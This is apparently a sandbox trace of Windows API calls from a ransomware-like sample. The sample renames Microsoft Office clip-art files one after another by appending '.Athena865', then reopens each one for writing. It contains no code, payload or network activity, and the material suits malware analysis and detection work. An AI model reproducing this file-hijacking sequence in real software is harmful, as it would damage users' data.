1 [0126.389] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0171685.WMF" | out: lpString1="J0171685.WMF") returned="J0171685.WMF" [0126.389] lstrlenW (lpString="J0171685.WMF") returned 12 [0126.389] lstrlenW (lpString="Athena865") returned 9 [0126.389] lstrcmpiW (lpString1="71685.WMF", lpString2="Athena865") returned -1 [0126.389] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.Athena865") returned 73 [0126.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.athena865"), dwFlags=0x1) returned 1 [0126.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.391] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14472) returned 1 [0126.394] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0171847.WMF" | out: lpString1="J0171847.WMF") returned="J0171847.WMF" [0126.394] lstrlenW (lpString="J0171847.WMF") returned 12 [0126.394] lstrlenW (lpString="Athena865") returned 9 [0126.394] lstrcmpiW (lpString1="71847.WMF", lpString2="Athena865") returned -1 [0126.394] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.Athena865") returned 73 [0126.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.athena865"), dwFlags=0x1) returned 1 [0126.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.395] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6888) returned 1 [0126.398] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0172035.WMF" | out: lpString1="J0172035.WMF") returned="J0172035.WMF" [0126.398] lstrlenW (lpString="J0172035.WMF") returned 12 [0126.398] lstrlenW (lpString="Athena865") returned 9 [0126.398] lstrcmpiW (lpString1="72035.WMF", lpString2="Athena865") returned -1 [0126.398] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.Athena865") returned 73 [0126.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.athena865"), dwFlags=0x1) returned 1 [0126.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.400] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7448) returned 1 [0126.402] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0172067.WMF" | out: lpString1="J0172067.WMF") returned="J0172067.WMF" [0126.402] lstrlenW (lpString="J0172067.WMF") returned 12 [0126.403] lstrlenW (lpString="Athena865") returned 9 [0126.403] lstrcmpiW (lpString1="72067.WMF", lpString2="Athena865") returned -1 [0126.403] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.Athena865") returned 73 [0126.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.athena865"), dwFlags=0x1) returned 1 [0126.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.404] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7028) returned 1 [0126.407] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0172193.WMF" | out: lpString1="J0172193.WMF") returned="J0172193.WMF" [0126.407] lstrlenW (lpString="J0172193.WMF") returned 12 [0126.407] lstrlenW (lpString="Athena865") returned 9 [0126.408] lstrcmpiW (lpString1="72193.WMF", lpString2="Athena865") returned -1 [0126.408] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.Athena865") returned 73 [0126.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.athena865"), dwFlags=0x1) returned 1 [0126.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.409] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12696) returned 1 [0126.413] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0174315.WMF" | out: lpString1="J0174315.WMF") returned="J0174315.WMF" [0126.413] lstrlenW (lpString="J0174315.WMF") returned 12 [0126.413] lstrlenW (lpString="Athena865") returned 9 [0126.413] lstrcmpiW (lpString1="74315.WMF", lpString2="Athena865") returned -1 [0126.413] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.Athena865") returned 73 [0126.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.athena865"), dwFlags=0x1) returned 1 [0126.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.414] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5864) returned 1 [0126.417] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0174635.WMF" | out: lpString1="J0174635.WMF") returned="J0174635.WMF" [0126.417] lstrlenW (lpString="J0174635.WMF") returned 12 [0126.417] lstrlenW (lpString="Athena865") returned 9 [0126.417] lstrcmpiW (lpString1="74635.WMF", lpString2="Athena865") returned -1 [0126.417] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.Athena865") returned 73 [0126.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.athena865"), dwFlags=0x1) returned 1 [0126.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.419] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9736) returned 1 [0126.421] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0174639.WMF" | out: lpString1="J0174639.WMF") returned="J0174639.WMF" [0126.421] lstrlenW (lpString="J0174639.WMF") returned 12 [0126.422] lstrlenW (lpString="Athena865") returned 9 [0126.422] lstrcmpiW (lpString1="74639.WMF", lpString2="Athena865") returned -1 [0126.422] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.Athena865") returned 73 [0126.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.athena865"), dwFlags=0x1) returned 1 [0126.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.423] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5100) returned 1 [0126.429] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0174952.JPG" | out: lpString1="J0174952.JPG") returned="J0174952.JPG" [0126.429] lstrlenW (lpString="J0174952.JPG") returned 12 [0126.429] lstrlenW (lpString="Athena865") returned 9 [0126.429] lstrcmpiW (lpString1="74952.JPG", lpString2="Athena865") returned -1 [0126.429] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.Athena865") returned 73 [0126.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.athena865"), dwFlags=0x1) returned 1 [0126.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.430] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24982) returned 1 [0126.434] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0175361.JPG" | out: lpString1="J0175361.JPG") returned="J0175361.JPG" [0126.434] lstrlenW (lpString="J0175361.JPG") returned 12 [0126.434] lstrlenW (lpString="Athena865") returned 9 [0126.434] lstrcmpiW (lpString1="75361.JPG", lpString2="Athena865") returned -1 [0126.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.Athena865") returned 73 [0126.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.athena865"), dwFlags=0x1) returned 1 [0126.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46461) returned 1 [0126.440] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0175428.JPG" | out: lpString1="J0175428.JPG") returned="J0175428.JPG" [0126.440] lstrlenW (lpString="J0175428.JPG") returned 12 [0126.440] lstrlenW (lpString="Athena865") returned 9 [0126.440] lstrcmpiW (lpString1="75428.JPG", lpString2="Athena865") returned -1 [0126.440] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.Athena865") returned 73 [0126.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.athena865"), dwFlags=0x1) returned 1 [0126.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.441] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14552) returned 1 [0126.444] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0177257.JPG" | out: lpString1="J0177257.JPG") returned="J0177257.JPG" [0126.444] lstrlenW (lpString="J0177257.JPG") returned 12 [0126.444] lstrlenW (lpString="Athena865") returned 9 [0126.444] lstrcmpiW (lpString1="77257.JPG", lpString2="Athena865") returned -1 [0126.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.Athena865") returned 73 [0126.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.athena865"), dwFlags=0x1) returned 1 [0126.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.446] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45358) returned 1 [0126.451] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0177806.JPG" | out: lpString1="J0177806.JPG") returned="J0177806.JPG" [0126.451] lstrlenW (lpString="J0177806.JPG") returned 12 [0126.451] lstrlenW (lpString="Athena865") returned 9 [0126.451] lstrcmpiW (lpString1="77806.JPG", lpString2="Athena865") returned -1 [0126.451] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.Athena865") returned 73 [0126.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.athena865"), dwFlags=0x1) returned 1 [0126.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.453] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55554) returned 1 [0126.459] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178348.JPG" | out: lpString1="J0178348.JPG") returned="J0178348.JPG" [0126.459] lstrlenW (lpString="J0178348.JPG") returned 12 [0126.459] lstrlenW (lpString="Athena865") returned 9 [0126.459] lstrcmpiW (lpString1="78348.JPG", lpString2="Athena865") returned -1 [0126.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.Athena865") returned 73 [0126.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.athena865"), dwFlags=0x1) returned 1 [0126.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.460] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36989) returned 1 [0126.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178459.JPG" | out: lpString1="J0178459.JPG") returned="J0178459.JPG" [0126.464] lstrlenW (lpString="J0178459.JPG") returned 12 [0126.464] lstrlenW (lpString="Athena865") returned 9 [0126.464] lstrcmpiW (lpString1="78459.JPG", lpString2="Athena865") returned -1 [0126.464] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.Athena865") returned 73 [0126.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.athena865"), dwFlags=0x1) returned 1 [0126.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.466] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29204) returned 1 [0126.469] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178460.JPG" | out: lpString1="J0178460.JPG") returned="J0178460.JPG" [0126.469] lstrlenW (lpString="J0178460.JPG") returned 12 [0126.469] lstrlenW (lpString="Athena865") returned 9 [0126.469] lstrcmpiW (lpString1="78460.JPG", lpString2="Athena865") returned -1 [0126.469] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.Athena865") returned 73 [0126.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.athena865"), dwFlags=0x1) returned 1 [0126.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.471] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26531) returned 1 [0126.474] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178523.JPG" | out: lpString1="J0178523.JPG") returned="J0178523.JPG" [0126.474] lstrlenW (lpString="J0178523.JPG") returned 12 [0126.474] lstrlenW (lpString="Athena865") returned 9 [0126.474] lstrcmpiW (lpString1="78523.JPG", lpString2="Athena865") returned -1 [0126.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.Athena865") returned 73 [0126.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.athena865"), dwFlags=0x1) returned 1 [0126.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.476] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24034) returned 1 [0126.479] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178632.JPG" | out: lpString1="J0178632.JPG") returned="J0178632.JPG" [0126.479] lstrlenW (lpString="J0178632.JPG") returned 12 [0126.480] lstrlenW (lpString="Athena865") returned 9 [0126.480] lstrcmpiW (lpString1="78632.JPG", lpString2="Athena865") returned -1 [0126.480] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.Athena865") returned 73 [0126.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.athena865"), dwFlags=0x1) returned 1 [0126.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.481] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23338) returned 1 [0126.486] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178639.JPG" | out: lpString1="J0178639.JPG") returned="J0178639.JPG" [0126.486] lstrlenW (lpString="J0178639.JPG") returned 12 [0126.486] lstrlenW (lpString="Athena865") returned 9 [0126.486] lstrcmpiW (lpString1="78639.JPG", lpString2="Athena865") returned -1 [0126.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.Athena865") returned 73 [0126.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.athena865"), dwFlags=0x1) returned 1 [0126.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.847] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32038) returned 1 [0126.852] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0178932.JPG" | out: lpString1="J0178932.JPG") returned="J0178932.JPG" [0126.852] lstrlenW (lpString="J0178932.JPG") returned 12 [0126.852] lstrlenW (lpString="Athena865") returned 9 [0126.852] lstrcmpiW (lpString1="78932.JPG", lpString2="Athena865") returned -1 [0126.852] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.Athena865") returned 73 [0126.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft 